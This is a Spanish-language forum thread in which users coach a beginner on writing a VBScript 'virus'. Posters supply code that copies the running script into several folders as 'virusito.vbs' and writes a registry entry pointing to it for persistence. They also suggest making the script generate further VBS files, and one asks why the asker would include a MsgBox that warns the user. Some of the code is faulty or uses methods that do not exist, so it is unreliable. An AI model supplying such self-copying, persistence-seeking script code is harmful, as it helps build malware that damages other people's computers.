Ayuda con virus....

Hola, hace un tiempecito abandone el Visual para dedicarme a otros lenguajes como C, pero de lo que recuerdo no puedes poner la misma instruccion en la misma fila o sea, en visual no puedes hacer esto:

C.copy "C:\Misdocumentos" C:\ "virusito.vbs"

Eso es imposible, seguro te da un error de Missmatch o otro que no recuerdo, porque debes entender que cada vez que colocas esta comilla " le estas indicando al visual que la instruccion ha terminado por ende si ha terminado porque vuelve a empezar otra vez uno al lado? para visual debes declararle las cosas por separado. por ejemplo tu quieres que tu vbs se copie varias veces debes en lugares diferentes debes hacer algo como esto:

Recuerdate declarar las variables que vas a usar

Copiarme()

Sub Copiarme()
dim fso, eq, ctr, file, vbscopy
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy("C:\Misdocumentos\virusito.vbs")
c.Copy("C:\virusito.vbs")
c.Copy("C:\Archivos de Programa.vbs")
end sub

en este caso el vbs se copiara a si mismo en Mis documentos, en C, y en la carpeta archivos de programas.

Quieres que tu vbs cree una linea en el registro del windows?

RegeditCrear()

Sub RegeditCrear()
Dim Rege
Set Rege = WScript.CreateObject("WScript.Shell")
Rege.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\lo que tu quieras aqui","C:\virusito.vbs"
end Sub

Disculpa mi curiosidad pero porque le estas agregando un MsgBox a tu Vbs? y con mensaje dentro? pretendes avisar al usuario sobre el peligro de tu archivo?

Te comente que no podias poner 2 instrucciones con comillas juntas en una misma Linea, pero esto no te limita a que tengas posibilidad de poner las 2 instrucciones si se pueden solo que no en la misma linea sino separadas como te explique arriba en un ejemplo chekalo bien, asi funciona Visual.

Sobre que quieres crear un archivo texto que contenga Informacion dentro eso si es posible te dare un ejemplo y tu con tu imaginacion lo modificas a tu manera.

Se sabe que para crear un archivo normal dentro de cualquier carpeta procedes a hacer esto:

Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.CreateTextFile("C:\Ply.txt")

Tu puedes usar las variables que quieras. en este caso se creo el archivo de texto Ply en el C sin Info adentro claro, pero tu quieres que Ply.txt tenga alguna Info, Ok proseguimos:

Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\ply.txt", True)
tf.WriteLine("Probando 1, 2, 3.")
tf.WriteBlankLines(3)
tf.Write ("Aqui escribes lo que quieras que salga dentro de ply.txt ")
tf.Close

Eso es solo un ejemplo, para que tengas un caminito por donde guiarte pero no copies todo de mi usa la imaginacion juega con las instrucciones y los comandos del Visual, se aprende mas asi que por el metodo copiando. Suerte Kiss

Gracias kitty... pero creo que todavia no me entiendes....
a ver.... crea y muestrame un vbs que cree otro vbs....
es lo que quiero hacer... espero tu respuesta....gracias...

utiliza chr(valor) y veras que si te deja escribirlo

A ver si te entiendo...
asi?
p ej. al momento de incluir una linea al texto que estoy creando pongo esto...

ply.write"x="ok"" (Claro.. no funciona por las dobles comillas)

y tu me dices que utilice chr(valor)

como... ply.write chr(x="ok") Huh

disculpa es que soy nuevo...gracias

Hola he vuelto por estos lados de programacion. Tongue

Yo no tenia el Visual Basic en mi maquina asi que no habia tenido tiempo Ponxho de ver tu codigo perfectamente y ver que errores tenia o que hacia. Bueno el caso es que encontre mi CD de VB lo instale y chekee alguito de tu code. Yo antes estaba mas relacionada con el VBS pero no me recuerdo muy bien de el, asi que si me equivoque en el popurri que dare como punto de vista a tu codigo que otra persona me rectifique.

Me parece que tu codigo esta perfecto Ponxho, lo unico que creo que el error esta en esta Linea ( como no me habia fijado antes? )

multi.copyfile "c:\ply.txt", "c:\ply.vbs"

esto copia el contenido de ply.txt en ply.vbs
por eso siempre van a terminar iguales con el mismo mensaje que pongas en ply.txt, saldra en ply.vbs.
para colocar texto extra deberias abrir ply.vbs no crearlo como lo hiciste con ply.txt, ya que si lo creas en base a copia de otro saldra el mismito tema del primero. seguramente la instrucion es algo asi:

Set op = multi.opentextfile("c:\ply.vbs")
o sino
Set op = multi.loadtextfile("c:\ply.vbs")

Si tienes otro tipo de problemas, favor especificamelo.

suerte.

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Julio 26, 2008, 12:16:49 Boton Buscar